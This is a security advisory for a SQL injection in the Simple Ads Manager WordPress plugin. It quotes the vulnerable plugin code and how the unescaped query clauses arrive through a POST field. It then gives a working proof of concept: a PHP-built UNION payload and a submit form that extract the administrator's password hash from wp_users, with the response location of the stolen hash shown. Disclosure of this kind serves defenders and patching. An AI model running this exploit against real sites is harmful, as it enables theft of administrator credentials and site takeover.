Simple Ads Manager 2.9.4.116 SQL Injection

Homepage:

https://wordpress.org/plugins/simple-ads-manager/

CVSS Score

5

CVSS Vector

(AV:N/AC:L/Au:N/C:P/I:N/A:N)

Description:

$whereClause and $whereClauseT and $whereClauseW and $whereClause2W are not escaped.

File: simple-ads-manager\ad.class.php

public function __construct( $args = null, $useCodes = false, $crawler = false, $clauses = null, $ajax = false ) {
	global $SAM_Query;

	if ( ! defined( 'SAM_OPTIONS_NAME' ) ) {
		define( 'SAM_OPTIONS_NAME', 'samPluginOptions' );
	}
	$this->args     = $args;
	$this->useCodes = $useCodes;
	$this->crawler  = $crawler;
	if ( is_null( $clauses ) ) {
		$this->clauses = $SAM_Query['clauses'];
	} else {
		$this->clauses = $clauses;
	}
	$this->force = $ajax;

	$this->ad = $this->buildAd( $this->args, $this->useCodes );
}

private function buildAd( $args = null, $useCodes = false ) {
	// I skip unnecessary lines
	$whereClause   = $this->clauses['WC'];
	$whereClauseT  = $this->clauses['WCT'];
	$whereClauseW  = $this->clauses['WCW'];
	$whereClause2W = $this->clauses['WC2W'];

	if ( ! empty( $args['id'] ) ) {
		$pId = "sp.id = {$args['id']}";
	} else {
		$pId = "sp.name = '{$args['name']}'";
	}

	$output = "";

	// SQL was changed. Bad way, incorrect logic, but it reflects when the cycle is exceed border values for some set of restrictions.
	$aSql = "
	(SELECT
	  @pid := sp.id AS pid,
	  0 AS aid,
	  sp.name,
	  sp.patch_source AS code_mode,
	  @code_before := sp.code_before AS code_before,
	  @code_after := sp.code_after AS code_after,
	  @ad_size := IF(sp.place_size = \"custom\", CONCAT(CAST(sp.place_custom_width AS CHAR), \"x\", CAST(sp.place_custom_height AS CHAR)), sp.place_size) AS ad_size,
	  sp.patch_code AS ad_code,
	  sp.patch_img AS ad_img,
	  \"\" AS ad_alt,
	  0 AS ad_no,
	  sp.patch_link AS ad_target,
	  0 AS ad_swf,
	  \"\" AS ad_swf_flashvars,
	  \"\" AS ad_swf_params,
	  \"\" AS ad_swf_attributes,
	  \"\" AS ad_swf_fallback,
	  sp.patch_adserver AS ad_adserver,
	  sp.patch_dfp AS ad_dfp,
	  0 AS count_clicks,
	  0 AS code_type,
	  IF((sp.patch_source = 1 AND sp.patch_adserver) OR sp.patch_source = 2, -1, 1) AS ad_cycle,
	  @aca := IFNULL((SELECT AVG(sa.ad_weight_hits*10/(sa.ad_weight*$cycle)) FROM $aTable sa WHERE sa.pid = @pid AND sa.trash IS NOT TRUE AND {$whereClause} {$whereClauseT} {$whereClause2W}), 0) AS aca
	FROM {$pTable} sp
	WHERE {$pId} AND sp.trash IS FALSE)
	UNION
	(SELECT
	  sa.pid,
	  sa.id AS aid,
	  sa.name,
	  sa.code_mode,
	  @code_before AS code_before,
	  @code_after AS code_after,
	  @ad_size AS ad_size,
	  sa.ad_code,
	  sa.ad_img,
	  sa.ad_alt,
	  sa.ad_no,
	  sa.ad_target,
	  sa.ad_swf,
	  sa.ad_swf_flashvars,
	  sa.ad_swf_params,
	  sa.ad_swf_attributes,
	  sa.ad_swf_fallback,
	  0 AS ad_adserver,
	  0 AS ad_dfp,
	  sa.count_clicks,
	  sa.code_type,
	  IF(sa.ad_weight, (sa.ad_weight_hits*10/(sa.ad_weight*$cycle)), 0) AS ad_cycle,
	  @aca AS aca
	FROM {$aTable} sa
	WHERE sa.pid = @pid AND sa.trash IS FALSE AND {$whereClause} {$whereClauseT} {$whereClauseW})
	ORDER BY ad_cycle
	LIMIT 1;";

	$ad = $wpdb->get_row( $aSql, ARRAY_A );

We can pass this datas using $_POST['wc'].

File: simple-ads-manager\sam-ajax-loader.php

case 'sam_ajax_load_place':
	if ( isset( $_POST['id'] ) && isset( $_POST['pid'] ) && isset( $_POST['wc'] ) ) {
		$placeId = (integer) $_POST['pid'];
		$adId    = (integer) $_POST['id'];
		$clauses = unserialize( base64_decode( $_POST['wc'] ) );
		$args    = array( 'id' => ( $adId == 0 ) ? $placeId : $adId );
		if ( isset( $_POST['codes'] ) ) {
			$codes = (bool) ( $_POST['codes'] );
		} else {
			$codes = false;
		}
		include_once( 'ad.class.php' );
		if ( $adId == 0 ) {
			$ad = new SamAdPlace( $args, $codes, false, $clauses, true );
		} else {
			$ad = new SamAd( $args, $codes, false, true );
		}
		echo json_encode( array(
			'success' => true,
			'ad'      => $ad->ad,
			'id'      => $ad->id,
			'pid'     => $ad->pid,
			'cid'     => $ad->cid,
			//'clauses' => $clauses,
			//'sql' => $ad->sql
		) );
	} else {
		json_encode( array( 'success' => false, 'error' => 'Bad input data.' ) );
	}
	break;

Proof of Concept:

<?php
$out = array();
$out['WC'] = '1=0';
$out['WCT'] = '';
$out['WCW'] = ') UNION (SELECT user_pass, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2 FROM wp_users WHERE ID = 1';
$out['WC2W'] = '';
?>
<form method="post" action="http://wp-url/wp-content/plugins/simple-ads-manager/sam-ajax-loader.php">
<input type="hidden" name="action" value="load_place">
<input type="hidden" name="id" value="0">
<input type="hidden" name="pid" value="1">
<input type="text" name="wc" value="<?php echo base64_encode(serialize($out)); ?>">
<input type="submit" value="Send">
</form>

You will find administrator ID=1 password here:

{"success":true,"ad":"<div id='c2077_1_%here_is_password%' class='sam-container sam-place' data-sam='0'><\/div>","id":"1","pid":"%here_is_password%","cid":"c2077_1_%here_is_password%"}

Timeline: